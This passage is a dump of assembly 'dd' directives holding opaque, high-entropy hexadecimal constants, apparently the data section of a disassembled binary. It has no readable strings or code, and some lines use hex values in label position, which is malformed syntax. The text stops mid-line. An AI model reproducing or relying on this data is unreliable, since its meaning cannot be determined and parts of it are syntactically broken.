0E0AE4180h dd 4C90240h, 0D813006Eh dd 0A45301CBh, 36006061h, 59388848h, 0F07EB811h, 1F570E0Bh dd 9CA310C7h, 5EF8C34Dh, 0B80043DBh, 90B5322Ch, 3009B682h dd 9D91E00Ch, 0F800D650h, 15DA6F83h, 3CF2D0Eh, 2FA77C16h dd 66D82253h, 4400693Bh, 8E5CCD76h, 6416DEh, 7A19F9B2h dd 0A5E53C4Ch, 0E05B5Dh, 602EFBD3h, 1479333h, 169E2940h dd 0D14D1D6Ah, 0B7D874A7h, 7E265E1Ch, 94694E00h, 1775F20h dd 0A292CFC2h, 0E4B42BC4h, 4900ED32h, 4876DA64h, 957B1C30h dd 56068680h, 6A0781B1h, 0A9A8E65Fh, 173E3230h, 9316003Ah dd 3FFAD9ACh, 10034B3h, 4609A033h, 6ACEBDh, 777E0D31h dd 2CFB835Ch, 0C0065200h, 0DF4C2089h, 548600EFh, 306CC50Bh dd 0DC07F79Ch, 0BB02EDD0h, 15B956F0h, 4D9516A8h, 8972002Eh dd 0F66D51EAh, 0CF4A8500h, 1E0C8C7Bh, 6E200F2Dh, 0B0A68EBCh dd 70B89AF9h, 0B400887Eh, 8028CDAEh, 0F0D869h, 1BEE6A7Ch dd 0FC8158ECh, 0ED95B503h, 0EB3BFD57h, 4CBDA0F2h, 39C00217h dd 4FEBB33Ah, 2574B881h, 2E03C4F5h, 0A655050Fh, 69F02127h dd 88601908h, 0D090001Bh, 558647C1h, 6007749h, 2E837153h dd 35446Ah, 0B89801E9h, 0C0A2728Ah, 0B87B3F33h, 33B11E3Ch dd 0D7840002h, 13BE152Fh, 8EBD8303h, 0A6B9E569h, 377F3018h dd 313F56E1h, 1C02F178h, 6272FE95h, 0F38491E1h, 0AB1C3F18h dd 8490CDB8h, 80BFF1C8h, 5653AC3Bh, 798C60h, 32F42F8Fh dd 91D1056Bh, 0DE2CB42Ch, 0D3E1D200h, 6D44EFh, 0C7204D77h dd 9A349D5Ch, 0E8B0A704h, 6180E68Fh, 38A09E9h, 0C9E72B9Eh dd 81CFD263h, 4061B479h, 33FA8199h, 3F013679h, 96BF11E3h dd 0E13B09FEh, 296CE419h, 75986500h, 0CBE92CECh, 9484058Ch dd 0AE27A2DAh, 11132500h, 2B82D7h, 0ADC1C5Bh, 241F617Ch dd 0D9B9840Fh, 0FD5440CFh, 0E2080Fh, 7A2C733h, 917D4898h dd 8400E578h, 309BBEC4h, 5E5CF6h, 92D5A169h, 0D91809A6h dd 0C4F84800h, 0D82CCEDCh, 0CC930146h, 982DCBBAh, 0EAB302Eh dd 2AC71601h, 0FA0BC8B1h, 2C9FFCC0h, 7A14B97h, 0D3589533h dd 0A8F8EB66h, 0B21F98C4h, 0A6C360B4h, 0A91C4974h, 6DE48861h dd 0FC8F0058h, 0CACFBA7Dh, 45009C8Bh, 0E0DA15ECh, 0E1D39F6h dd 91FBDCFDh, 7DF38E00h, 0D8C1D3DDh, 831BD68h, 6AACF16Ah dd 7A88CFC0h, 7FB80174h, 922DC6FCh, 8A25C846h, 86A13B0Eh dd 6A88C35Bh, 0E59DF958h, 4FE48BBh, 5F6DF27Ah, 0C9F0C0B1h dd 0E20159D2h, 17C696AEh, 0F0A0036Bh, 16230084h, 0B9DB20FAh dd 0F9804EF3h, 3FA8B89Ch, 75870BA1h, 617AE003h, 0E451A6EEh dd 192C7F38h, 422C567Dh, 2196D60Fh, 1899C6A3h, 4A4C8C8h dd 39ECE216h, 0C12E80F0h, 0A3B5A15h, 4B6F0059h, 7963224Ch dd 16F465h, 1B812DC9h, 0F7137E1Fh, 0B68DEE06h, 0D6F814h dd 0BA7FBC3Eh, 2D4E4B65h, 9294A813h, 18E63DB0h, 103B3417h dd 9101ECD2h, 8C9F4471h, 68DC82D8h, 0C063723Fh, 0F20C3AA1h dd 0FC0001A4h, 0E80F484h, 4C2B3Dh, 18E5B070h, 0C67868DBh dd 887C4674h, 2B558C03h, 0E883CE3Ch, 1F080451h, 40E07780h dd 0D5BA5C2Eh, 0F70C4A49h, 0B081DE7Ah, 0BB32306Fh, 0B061E1E9h dd 29A9250Fh, 2040FCA8h, 3CD63BC3h, 464B019Fh, 0E396FF7h dd 0CF2F210Fh, 12B030B8h, 3E03B1E4h, 24E327C1h, 7568E97h dd 0CE721C18h, 62861067h, 4C03422Bh, 0EA5B1A7Ah, 14EEF0CFh dd 30AA00F5h, 0D76EBF27h, 5CF1F8C8h, 0B028B904h, 5601B2FEh dd 69ABF4AEh, 1A70C302h, 0F27299h, 0ADEC12C2h, 4DD76B44h dd 48B58701h, 0AF8F1445h, 11867FCh, 81595DE9h, 0F8937E5Ah dd 0F1003410h, 4615CBFEh, 628871h, 0C125A7C9h, 7056217Bh dd 65B90400h, 6E9451D9h, 0F349001Ch, 0E5EBA245h, 9B000D5Ah dd 0C6FAEFACh, 34CDE3Ah, 67265648h, 1B8B3EDh, 0DC00BC2Eh dd 1FCA0262h, 2E59A7E4h, 1C0ACF73h, 134080ABh, 0D89A31DEh dd 0CD4BB202h, 0E02814F0h, 762619CAh, 1FA502BBh, 0D14E8F23h dd 70FDF641h, 0B7000EBCh, 0FE4E2C8h, 1EB677Eh, 2A536FCCh dd 0E038A233h, 64034B55h, 3DD6D7ABh, 89D800A5h, 0ECEE36D1h dd 770EBBD0h, 812C9557h, 0F23A923Dh, 2208C840h, 0A93200CFh dd 497FC3Fh, 0C81C165Fh, 0CD80A062h, 0F8AE641Ch, 0A2410048h dd 0ECE5BD17h, 45002DA3h, 30C89175h, 4808C4h, 96EAAA74h dd 90E6C13Dh, 4D09640Fh, 0D7C5E245h, 13D4E018h, 0E2600B6h dd 7AE8370Ah, 6EEF6D42h, 3DD1E0A0h, 4B0015FFh, 4D7C1B71h dd 680E73B0h, 0AAEDA0h, 0CD075990h, 33480782h, 0E07C4641h dd 0E2EB0AFBh, 13A43900h, 577488DBh, 0A3A64C64h, 0C0E1501Eh dd 0CF2A0176h, 0E00E78Eh, 0D7A0B98Fh, 0C0057245h, 0F6A4DC89h dd 0DD98CEC9h, 7071B12Eh, 8CF7CB00h, 3893934h, 5CDA01C8h dd 110030E0h, 0B89ACEC6h, 245427A3h, 0EC24B4h, 17165237h dd 0CC01E8D0h, 10EFB788h, 0B06B0BFBh, 2000194Eh, 23F7AD93h dd 3DC33ECh, 860503C6h, 66811D5Fh, 8CE8EF3Fh, 0AA00F7E8h dd 6DBE476h, 1D3B3770h, 80A69450h, 487A2D2Ch, 46070E31h dd 9054C087h, 811DA5C0h, 48B07ED6h, 2F075C63h, 0BEBFCCC7h dd 5676F5E1h, 0A2202094h, 506B4204h, 0B30B996Eh, 0F9C3700h dd 4800EC20h, 8B30904Bh, 4D0CE01h, 0FD59DC29h, 20CC87DAh dd 3F42E911h, 0B501B201h, 2813F938h, 92D2D0h, 0BFB8665Eh dd 0AF18457Bh, 352A200h, 8CBAE681h, 0A9130085h, 15C379E3h dd 99007D5Eh, 0B4D4E0F8h, 2B4945h, 8C8563ADh, 10D966E1h dd 11B1CE00h, 0AFC48E21h, 327E6DCh, 0AD6CCF3Bh, 67B0B941h dd 0E0E7D69Ah, 0F2E26680h, 0D6C0C35Eh, 503C38h, 5752860h dd 0D217999Ah, 0A4DE5B00h, 78944D6h, 38FA007Fh, 560D8FF2h dd 3E009367h, 34E3E6A8h, 3C61927h, 0E5DA2CD2h, 0F8E0AA46h dd 40E892Bh, 0E31B8BAEh, 0A8A4E322h, 1813D456h, 28D57D9Ch dd 2500A635h, 0C62E2262h, 132C9693h, 8FCE80h, 99352A1Dh dd 101C30F6h, 4780AA2Dh, 424BBE14h, 0C17C1EC5h, 173F00C4h dd 0E8A43626h, 0B9161204h, 0ED80AB3Dh, 0D550D0h, 17DF57AEh dd 0E766F0F9h, 7ABD3700h, 486E76FFh, 0EABA00B2h, 2D525101h dd 53F0AC23h, 5D0EA500h, 0AAEE6744h, 856600D9h, 8D6D79DEh dd 3A00C036h, 25E52C29h, 0C83844h, 0B7EA3D53h, 0F76C48D7h dd 7ADB4A03h, 0F9358A31h, 88C0B6B1h, 0C2C5071Fh, 0BB2365h dd 3437AE52h, 0C85F9E0Fh, 0D6AA407Ah, 7D79A5B8h, 998A00E6h dd 113ABA4Ah, 1B00446Ch, 8BD12C0Dh, 45F0CEh, 5CE2260Bh dd 71C8D858h, 0AC75BA09h, 7D6B008Ch, 0F260F9h, 0B7890BD2h dd 5C57991Dh, 21BA6700h, 0C24D1FBEh, 9D7962h, 95B47CE9h dd 7A4F6592h, 70488B00h, 4E4345AFh, 161C3990h, 5C780F80h dd 93272E51h, 557A5960h, 0A55DA7h, 4246669Bh, 0DCA93F6Ch dd 3C35B3Ch, 8848F284h, 0F8C9F0C2h, 8A5C260Ah, 3126005Ch dd 829EE1AEh, 0F603A33Dh, 9C62BCC0h, 173204BFh, 0EE803Ch dd 222C54A7h, 0E63CCF8Ch, 0BCF5856h, 8ECA1488h, 2D8F4C5h dd 0B4058EDDh, 912860DAh, 18B500C3h, 0D3708876h, 0E40F397Dh dd 21B3AF8Eh, 0C459A95h, 4C59B4E0h, 83000070h, 0EFCCDBC0h dd 0BA0FB83Ah, 0C00EB915h, 57BF4290h, 81E401F2h, 92C3CDA2h dd 0F3DD44Ch, 0B9C8C500h, 0FBA88F3Eh, 98A14EDh, 6009890h dd 0C0802D9h, 2C003022h, 0DC284EDEh, 605717h, 20422967h dd 28459E7h, 1BCFD3Bh dd 5316B8A3h, 2960929Ah, 0C0AB02D5h, 0B234E6F8h, 0F9E19661h dd 442297h, 368286BCh, 6246F9h, 8A4206A9h, 770EDA55h, 0BB7DC51Ch dd 0F633C4C0h, 0E45A61h, 0F7756912h, 0C6791F3Fh, 1E36AD00h dd 0F68211D6h, 91BB006Fh, 0D40DAF2h, 0EB008414h, 50FAAA06h dd 92A82Ah, 0D487E09Ah, 5CB17E0Eh, 8770CA39h, 7722FB5Dh dd 59F66900h, 4237060h, 0A5B307A9h, 6248073h, 7800DEDDh dd 0BD7D7113h, 0E0A1D2h, 0AB49DB4Fh, 2750C539h, 80B61E3Dh dd 756F17BAh, 359D68h, 80314BD8h, 0B1F34C8Dh, 0D759A807h dd 5AA0FCB5h, 5716E0Eh, 11868A1Dh, 9090D1ADh, 1C9D817h dd 1F786F2Eh, 5ED46000h, 261084FBh, 9CF1F27h, 3D050E19h dd 0CD08001Dh, 1B4C9F69h, 57E67D1Dh, 940E45C0h, 0BAC33B55h dd 0CA5901BCh, 0FF7E3F2Bh, 470BAABh, 14D8B347h, 9A7A7180h dd 5CFE2EA5h, 88750D70h, 0CD4E028h, 0C3AF5803h, 0A14E5927h dd 0DA70FDFBh, 83D83B0Dh, 38FE8800h, 2E4A7DBEh, 9C525503h dd 0B8C6FC92h, 26FB99h, 0E40434ADh, 4FFF51D1h, 0F6009470h dd 12661B39h, 6001B5h, 0DF3886D2h, 117422E1h, 4D633F00h dd 84FFD5E5h, 88C0017h, 1ACE0272h, 6B03C415h, 0A3704EDBh dd 0E13DB90Dh, 37F2EFC4h, 80E02C8Ch, 0E99AB9CAh, 1D0004F0h dd 7A490ADAh, 69AD8Fh, 0D338A629h, 3DF8B489h, 7867E012h dd 3B4B8A03h, 0AF49E8ABh, 2AA00053h, 168071FDh, 830991F5h dd 80C6DB78h, 0DC7D6902h, 542E0163h, 8246EE34h, 80B8CDC9h dd 1D2CC420h, 0A7EC2F1Bh, 545A0220h, 9A103715h, 4D3005BCh dd 7C49F5Dh, 81CDBEA6h, 0F856ADB2h, 0ED03AF69h, 308E5704h dd 0A14916F7h, 3B3800C0h, 0D69F8754h, 0F90046F0h, 0BAE4ABFCh dd 1E8229BDh, 0A016B4h, 0F7732B1h, 0A7489D4Dh, 0A9601204h dd 76C54040h, 1FB8FD96h, 838187AEh, 0AC1756DBh, 0ECF10397h dd 0F8D83Fh, 0DD300235h, 2894A884h, 51A48B44h, 3050E53Bh dd 60214D3Fh, 8390981Ch, 0B63D2A08h, 8B5780ADh, 0AF75460h dd 351B30E2h, 10C24B8h, 9140A90Ah, 4405EEFBh, 8060BDA2h dd 8E4B5E2h, 2E3E05E0h, 0BEF2BB7Bh, 51F0C0A8h, 0B3F8EEE2h dd 1972581Eh, 12AB28B0h, 5D6C191h, 0E41A3ADDh, 47007868h dd 6B262E48h, 0FBD819h, 0D14DFEAAh, 53B48420h, 5DDBF700h dd 0C8EC2E04h, 181300C4h, 0BAA01715h, 0DE0EF8B2h, 34714420h dd 3C3AE020h, 30A38657h, 0F67E06E8h, 0ADF0F090h, 1D62A502h dd 809C6558h, 0B8B625CCh, 90420720h, 0EC2DB0D4h, 80287018h dd 1801DCDDh, 4059DBC5h, 25E03D3Fh, 0EBF20990h, 4602CD7h dd 2A0E0D56h, 0E143CA21h, 0D2FCAF7Ah, 19C00C31h, 0E0C4B054h dd 7FD600B8h, 1AFF560h, 0A6027550h, 0BE7993BDh, 892FC02Eh dd 0B86E0732h, 0D01412A8h, 516A30AAh, 0A6FA5700h, 1DBB4C27h dd 0B4CF177Eh, 9A7409FBh, 57E0082Fh, 77328A8h, 0C4EF2400h dd 0E910B7D3h, 63EE03BCh, 45663750h, 2D7E20D0h, 0F1576400h dd 0CE05191Eh, 0F43C1CFDh, 1B003EAAh, 872A2FA5h, 9D0069DCh dd 3F826CD4h, 1F18290Ch, 80577ECDh, 0A804680Ah, 0E8C1D61Ch dd 2450F7C8h, 7696020h, 0CB48AFDFh, 0A76820B7h, 6CEC64E6h dd 3EA9C0Fh, 6B3A2292h, 8F8C8257h, 2A726069h, 0B8E40002h dd 25E3CF30h, 1500872Ch, 93194186h, 706CAAD9h, 0C3970171h dd 0E6F07F72h, 20BB08h, 886007D5h, 3602F3h, 64E768C8h dd 87171A4Eh, 86002D74h, 0B08F4519h, 12B46A4h, 24ECA563h dd 606D518Eh, 3C0E3382h, 8344C492h, 0E0E9601Ah, 28707EFh dd 0EE55B649h, 0E5601882h, 0F0E72D5Eh, 0BC00B1FDh, 0CBA27DFBh dd 1FF30Ch, 0C4C0FC90h, 0DB7EFAD1h, 0FD40FF50h, 42B5E700h dd 0D2AABCA8h, 8D630078h, 0DCC7BE9Dh, 0A90CF325h, 31DEF543h dd 0D9E70701h, 70C52E84h, 315B59C1h, 1500D0FAh, 28BC9B8Ch dd 74F230h, 1FC16F14h, 418ADECFh, 76B13C00h, 862146ABh dd 607C78FAh, 0F26C188Bh, 77803540h, 0FE890310h, 2AC103B8h dd 32E55188h, 0C8117A01h, 0FF42B6FAh, 0D0C7B040h, 485B00A9h dd 0F713F92Bh, 34E8F3A7h, 0E7D830A3h, 542974E3h, 300A0D3h dd 0DDF0F3B0h, 58FA0045h, 5E17D4Ah, 0A81FE21Eh, 0AC18739h dd 4D54C699h, 7C9BDBE0h, 0B6EA2BA7h, 0FE07F604h, 5D5A5CE7h dd 7F7A1600h, 0CF860092h, 0F04A7C0h, 0AB0B9A47h, 0CBFB6F3h dd 0D2B873h, 0D87E8EE5h, 96B778EAh, 828FC67Ch, 0F3AA7FF7h dd 0EFE49715h, 99A22E00h, 5A73F869h, 8B2C0BBh, 9601055Dh dd 150E9B11h, 19817441h, 3F386B1Dh, 2FF7F092h, 1E792884h dd 47972118h, 2F0B9104h, 21275644h, 0C401955h, 8882D198h dd 30A01889h, 8B44EBC6h, 0C6A50EDh, 18CE5070h, 3C095021h dd 18EF50B7h, 8EA6187Dh, 0D3131810h, 526518A1h, 30A3C20Ch dd 18468C99h, 0EEBD8524h, 624D0C08h, 6C805854h, 0DE60301h dd 0FEC318C5h, 0A8C5180Ah, 115AD062h, 430C5171h, 0B518410Bh dd 0A61E080Fh, 0C0697EC0h, 0F2FF7118h, 0A040397Ch, 0AD341010h dd 9B061013h, 1375484h, 173C4EEFh, 48304DFCh, 6D000036h dd 0CD847F58h, 0A80EE051h, 0C0674A79h, 115E8B4h, 9E49000Eh dd 1AAB97B2h, 680048D6h, 14E1BCC2h, 0AA7B196h, 1C075D80h dd 187187B0h, 2D43AA6h, 0A0DE35Bh, 834B2840h, 0AA132900h dd 9E355C2Fh, 0FE570616h, 0A1026AC9h, 0A64C1801h, 95B704B6h dd 3E2B8420h, 88E09F32h, 0D8BCA5E0h, 9273A8C0h, 3C5D17h dd 9BCE88B6h, 0F972DB2Ah, 1C8F7C90h, 0DEF79D80h, 24CD8DFFh dd 8E2C76B2h, 7F409C22h, 7879F31Dh, 50C96976h, 0F6D301E3h dd 7BC86441h, 0A58C022h, 0B4DF118Eh, 25C9A4A0h, 8134893Eh dd 85D18C80h, 0D99EFE68h, 0E3790386h, 501DEC51h, 620235C1h dd 0A080B7A1h, 0BFA7C814h, 351E1451h, 7F033432h, 8469098Ch dd 0F88671A1h, 4B3DAD8Eh, 0A86000E4h, 0EEB36662h, 0C4EA0FD7h dd 0DFED01h, 51AA2911h, 423A0FA2h, 0BE5381EFh, 9B834870h dd 0C1B3F3FCh, 34A0CAB8h, 0E49C3065h, 0F4EB2601h, 0C6BB724h dd 0D83C63DEh, 1FA86638h, 407A6E3Bh, 4B9447B8h, 647C1CD4h dd 0D8A3DF0Ch, 6269D089h, 685805Dh, 5515021Ch, 0DD2620D7h dd 0DCD6C880h, 8203F3ACh, 9928879Fh, 4F3AC072h, 0CCE81517h dd 7503C071h, 0F4F1762Ch, 6EB1009h, 0DF6080A2h, 98D8FE4Ah dd 0B7A90E88h, 0AEC079D6h, 0DD525CBCh, 6B00987Ch, 0FAC3CAE4h dd 4C5A3DD3h, 0DF0C8CB2h, 6B38D7F6h, 9E24E17Ch, 170068E9h dd 63B03F57h, 6230C4CCh, 42AB45A7h, 0CBCA8470h, 6571E6FFh dd 0C1D491DEh, 0FCC3D0DFh, 0EF490223h, 0E66600B4h, 0FFA195ECh dd 76BCA0A3h, 27C9168h, 0EC4A7E9Bh, 5A6A9440h, 3A95BE09h dd 67320FB1h, 0AAC17B8Dh, 482201A5h, 5211037Ch, 1EB64340h dd 0F15BA130h, 0C09464A9h, 42B9A240h, 30049B8h, 2945E371h dd 0FE20C680h, 0D1DAA082h, 0D025C4Ah, 1CD58500h, 0E3A879F8h dd 0E863B303h, 0B972AEE6h, 788075C4h, 4237F6E5h, 8600792Ah dd 0D68EF587h, 14D99883h, 50BBBD85h, 90F212h, 1ACDB098h dd 8996A8Bh, 5239C08h, 81EA488Ch, 200D1837h, 0DA775174h dd 0A64EF48h, 94E1DBFEh, 0E870170Ch, 0D01350A2h, 604EFADFh dd 0F451B0CFh, 7B57AC4Bh, 48A70430h, 0AC7172EBh, 0B7D440A6h dd 1C98975Bh, 2126A77Dh, 0E3401002h, 494AA83h, 500FAEC4h dd 62488074h, 871F807Eh, 0EB53233Dh, 2C069C00h, 0EC832Dh dd 0A6D6D202h dd 7B409BCCh, 3F52240h, 6F3B0D51h, 40C66234h, 0CDA89550h dd 0DF08E0B2h, 0D3E9F0h, 5BD5CB6Dh, 6A0171D4h, 0B4D9F99Eh dd 64DECAB3h, 0C580010h, 9932595h, 34984D79h, 0DA9DED00h dd 0EA924248h, 3D1100CFh, 9E7D27E6h, 3E02F6CCh, 8D2B1910h dd 48C65A9h, 40C35B5Dh, 0A18EF10Ah, 93F3E2C0h, 30F98050h dd 1D90CB53h, 0C0587E4Ch, 8DCD113Ah, 0CA830005h, 0BD7FEBC8h dd 0CB008ED3h, 0F3073B52h, 0C0D1D6D7h, 0B82C47F0h, 3E00031Ch dd 0F67B7228h, 72E5E27Ah, 6688A271h, 472C0048h, 0C1E4376Bh dd 44124AACh, 84069A3Ah, 62EA5EA7h, 0FACE70C9h, 0D310A844h dd 180E3413h, 10EDABEEh, 1CA2FCE8h, 1DE2EB19h, 55DC1E10h dd 0E0250026h, 0D14BA940h, 0BC5D4EA5h, 0DFD20998h, 61082E07h dd 32E929E4h, 1F9E860h, 0D12E97B1h, 40AD6BD0h, 0DD12B718h dd 1647380h, 0D842938h, 31F9BB42h, 1C3448CAh, 0D78120h dd 429A9675h, 0A58B5F5Ch, 80A9C228h, 556DE00h, 13D165D5h dd 6BFB1202h, 3160805Dh, 86183EBAh, 1211D8BFh, 0D1B4F02Fh dd 4F080888h, 0E540B199h, 19B7173h, 21D7AC76h, 0D0FDE35Eh dd 1A2CBE96h, 0A02046ECh, 0C42D870Eh, 0EE00B2D1h, 0BBA8F9DBh dd 85AB0703h, 50B52BB3h, 658FF8C5h, 3E211E09h, 1284E3Bh dd 7E2C27A1h, 20CD1666h, 0C30BC438h, 0A72DBD9Eh, 8C75A188h dd 1F62E400h, 0C0689051h, 0C028AA41h, 7F02721Bh, 56E404CEh dd 588CE877h, 0E8913B64h, 19AF383h, 5EA0F28Ch, 40FEC49Dh dd 20EC2224h, 2E888CE1h, 440EC852h, 0C5ED0A04h, 80C8836Bh dd 492B802h, 9802125Ch, 0EA3DB147h, 910C43BAh, 5C243ECDh dd 22BF0039h, 746ACB54h, 51DE12C3h, 33874240h, 0F65AD102h dd 0F28E1B64h, 57A8102Ch, 0EF02E598h, 34BD1E35h, 0B030904Bh dd 15D09488h, 0E6004874h, 0B3097A94h, 0F5E60E5Eh, 1890A57Eh dd 95ED948h, 8BF0FE8Dh, 49E89640h, 0A52BDC0Eh, 846DB0Ch dd 7C858330h, 7B4F99F8h, 0BB094828h, 84418FE9h, 9F11E657h dd 219052E6h, 330A487Eh, 46130CAFh, 0B190518h, 0B9218499h dd 98AF0851h, 6E09D241h, 40E32711h, 78F4B63Ch, 0A3E21B88h dd 75A4A70Ch, 5A41345h, 0AA68424h, 8A30B70Ch, 0A0CA90Dh dd 824DDEBh, 0F45A7A2h, 0C21B3045h, 0AE233C06h, 48EF1348h dd 9B7E04C5h, 1074DE80h, 46095B68h, 3810100Ch, 0C5002107h dd 8AE53201h, 60E7FAA5h, 94C392Dh, 0F62631B0h, 0E2807CCAh dd 0E308DEF1h, 0EC20EF3h, 92A0F514h, 522A6759h, 24C5A700h dd 0E7DA1E19h, 0C0100EF9h, 9881F21Ch, 24A58FB7h, 2E00FFDCh dd 657B7320h, 293711C8h, 74C4075h, 0B95D4150h, 0FE725804h dd 4709080h, 90E7304Ah, 8476A8EAh, 710A1700h, 0BBD14CE2h dd 7D609052h, 73340B4Eh, 0F58189EDh, 0C246D8D6h, 9FD0C863h dd 0F315E46Fh, 0C41C7298h, 0A53C6D7Ah, 660AB91Dh, 0F3419D04h dd 2AB570D0h, 0C65F2996h, 502850C0h, 1A44280h, 9E6691BFh dd 642D51CBh, 0E950B698h, 1100E697h, 9F3C7570h, 1DFDD3B0h dd 867EDDF1h, 0B0E44BC9h, 0E15C4CF9h, 2C745507h, 133C530h dd 7544C86Dh, 0A2670284h, 89E59283h, 0B1DBD260h, 67B071FCh dd 5F0F6890h, 22857AEDh, 64AA7E8Eh, 0AB8128A4h, 2F7003C1h dd 0F1EDE9C5h, 40DB46B9h, 81C4B814h, 0CF0001E4h, 3278702Bh dd 29FDD022h, 785890E9h, 0F721945Ch, 3E9AF8D3h, 0B94CA5h dd 0BE021444h, 1FC279Bh, 0B219705Bh, 47B9D589h, 0A807BBB4h dd 0D191B486h, 24FA3C38h, 0E501733Ch, 0AB1842ACh, 2080D69Dh dd 0A1B21E27h, 6500A4CCh, 20C91292h, 2E93F1C7h, 121CF675h dd 0AB7431BDh, 66800E65h, 31CC6B02h, 0AE93331Eh, 9140CDC0h dd 0B0342F3Eh, 0E336127Ch, 0FDCC04D6h, 0E7405D7h, 0CCC0CC97h dd 12750FF5h, 0A8DCB1h, 1FD9A138h, 7E02F80Bh, 0E755BEB9h dd 0C1AC9541h, 0EC5B913Fh, 0CC392587h, 0E4C5125Eh, 2441942Ch dd 0E9D480B8h, 36D92502h, 0CE8544BFh, 0C4C83603h, 6F860228h dd 7DAED75Dh, 7E00E845h, 13E9C769h, 91E0BFh, 4B9CBCEEh dd 25AB406Ah, 0D36C4F21h, 0DC47A9AAh, 3AB44380h, 7811B4Ah dd 8C62A039h, 0D788DBE7h, 35755084h, 886CAB0Eh, 0E4AA2040h dd 763A35Ah, 6CE57F5h, 0D8553086h, 0A87176CFh, 0B9251217h dd 0D7904E0Eh, 0B13E6400h, 7CC6E0FDh, 0E8C8BA55h, 167600CDh dd 0FBCB1A8Fh, 18F2A2EAh, 2E405005h, 0D020D7A6h, 7A6FA9C7h dd 729F02EBh, 0ECFB6119h, 0FB706445h, 8D34C80h, 0C05F68CEh dd 3A101FA2h, 58B0B6E9h, 0A086C501h, 0E1EF5B9Eh, 91AC8E30h dd 98045E0Ch, 0AEBAD16Fh, 0C45CECC1h, 40014408h, 257EF0C5h dd 8C20C88Eh, 58FCA566h, 695A25C9h, 37674E80h, 0F4A489h dd 0E777C51Ah, 0AFB5536h, 698180A5h, 70C2B820h, 30A02867h dd 0E02C2F98h, 205AE841h, 0A20A4E90h, 0FECC2F5Bh, 7555800h dd 664AC3F3h, 0E60F041Eh, 0C8613F2h, 114D7D10h, 3F3C01Ah dd 0BE78051Eh, 0D63106D8h, 417F7DFBh, 823C2C27h, 0C0210BE8h dd 17CB41FCh, 40B22D3Fh, 5C7389D4h, 8896277Dh, 0F442C707h dd 6896F8C2h, 522B58h, 0C527CB63h, 9A195CDFh, 0E405D8C0h dd 0A4A7C929h, 2BCB019Ch, 0C78411DBh, 480030EBh, 0AFBE00B7h dd 5C30377Ah, 0FA0ED820h, 1B645CDEh, 91009025h, 0F6302B46h dd 410EE9AFh, 48850007h, 0A05C6C67h, 0D018728h, 173769A2h dd 0E4508BEAh, 4B55B870h, 39740178h, 23F9F66Dh, 6A840090h dd 75F3C1B9h, 962403E3h, 2729FB40h, 0E2AB63F7h, 6AA85580h dd 64B6DFE4h, 0F1318185h, 0CD920B0h, 5AA68AFCh, 3A03B630h dd 88B93BDAh, 993CC861h, 37E3EEA7h, 801E17F8h, 7B39C676h dd 61F3F003h, 762A88C3h, 0F5360106h, 2C79A9B9h, 7D184AF9h dd 60E86F5Ch, 0E33E5631h, 419900A8h, 0B439A9C0h, 1CAE1ABCh dd 759CCA24h, 0F638E13Fh, 8846980Eh, 41F92941h, 0CC386038h dd 93EC249Dh, 0F9166116h, 0AB795402h, 66CB49Ah, 0F5BA225Dh dd 108E38EAh, 52329408h, 5AD68C04h, 44E3F958h, 0D9483D80h dd 931FF03Fh, 9641C8DFh, 0B5AA897Eh, 0DA037C4Bh, 56C72F1h dd 0DC966800h, 499A9C3h, 2460AD9Bh, 0ECB7021Ah, 0CC859011h dd 44103037h, 0ED20AE4Fh, 365628E0h, 9DDC8DF4h, 0DA0ABE23h dd 10C09260h, 0D791A18h, 6DC3608h, 606A7ED4h, 163B38B7h dd 0A7F1E10h, 1485DE0Ah, 0D9070B80h, 0A191330Ch, 58A325B8h dd 6C0169A4h, 8ADC6223h, 8846D6C0h, 14CF19F8h, 0A402FCA7h dd 6582007Dh, 95CEA89h, 9A14B9A2h, 0F064A8DFh, 209F16E2h dd 9618F5B7h, 377089DEh, 526AEA6Dh, 0A7C33C17h, 229D8102h dd 58422DC4h, 9A0A541Eh, 0F85F7D13h, 905D5680h, 9DB19A7h dd 0D6D9A84Dh, 0D8D4A488h, 0C1739AA3h, 4935420h, 99A2F8CFh dd 42788740h, 0D8869F24h, 0BAF8C0E9h, 0B8827CADh, 2312092Eh dd 0A2D80416h, 0D0AF2379h, 0FD5A9787h, 0A0918094h, 688C4C6Fh dd 0BA084F94h, 6098CA63h, 0DC5015F9h, 0E4E08CE2h, 0E57FF6D2h dd 49D688C4h, 0EC221907h, 40639140h, 0E0410350h, 0C5C80A59h dd 1DF55418h, 8ED58F0h, 0EF80F4C9h, 92EE800Eh, 0CBADE4A0h dd 35DC10CEh, 46E9E0B0h, 90644DBFh, 0F76E307Dh, 3AA47A38h dd 0ABF9FB1Dh, 0E88DBB0Ch, 180267D9h, 0B9F06CDBh, 3130BEEFh dd 905908C3h, 0EDD39900h, 0C307CE81h, 3019FE13h, 78080691h dd 4C39288Ch, 10C5E2A9h, 840648F9h, 3159C9D9h, 53F8F280h dd 70208C09h, 0B41C08DEh dd 91818BCh, 0E09095E7h, 49AED820h, 0E1910F2h, 2020089Bh dd 1061593Ch, 9E267908h, 0BE8B109Fh, 191ED918h, 40DD89DFh dd 2359F0F0h, 0BFA0A15Dh, 74FCF853h, 0B80E61F8h, 1C825F9h dd 1898C59Ah, 9619089Dh, 3379F8C2h, 218083D7h, 0C02018D5h dd 0D1C408E8h, 4D63B580h, 8CB0987Fh, 0EE104C8Fh, 0C118AE90h dd 0B21A70EFh, 0D23B3A15h, 0ED918D4h, 4962F278h, 0A2B0E07Fh dd 9F728CD6h, 5110AE40h, 0BCE4EC84h, 3C1914A9h, 481D80A7h dd 15337CA0h, 9CA2F910h, 85EC5D02h, 0E4F0DFECh, 104163EEh dd 0E82840A0h, 1924902Fh, 31985CE4h, 64687938h, 0C030B8C4h dd 0FBD32A98h, 120150A5h, 0ED91CCFAh, 93101834h, 0B004E0CCh dd 0A2599B4Fh, 93D81BA4h, 7C9F84A8h, 31E3E206h, 164C394Bh dd 996A0E0h, 896562EDh, 848745B6h, 81EB5499h, 98DE074Ch dd 56F104E8h, 2E08C6FFh, 0E44820FBh, 2899004Ch, 0DD2A896Ch dd 4A0AE8B8h, 0D42C1EB1h, 0C2198C8Ch, 34E8B094h, 0AC92FF60h dd 0A0291A62h, 0F48CF9Ah, 2F6CACCBh, 1A55D6C9h, 41E9F9E8h dd 275C01CCh, 597E8008h, 0B2F1E98Fh, 84E8B024h, 7A3E0410h dd 908EC32Dh, 33A00540h, 0D6123B19h, 0BCEE3EF0h, 163802E8h dd 0A9ABD431h, 0C72B3840h, 594A890Ch, 98C6E840h, 905EE8E0h dd 2FEA2984h, 18BDE0D8h, 2F2461B9h, 64120C9Dh, 0C6B9C7Ch dd 8A6AA4E0h, 0BF0AF678h, 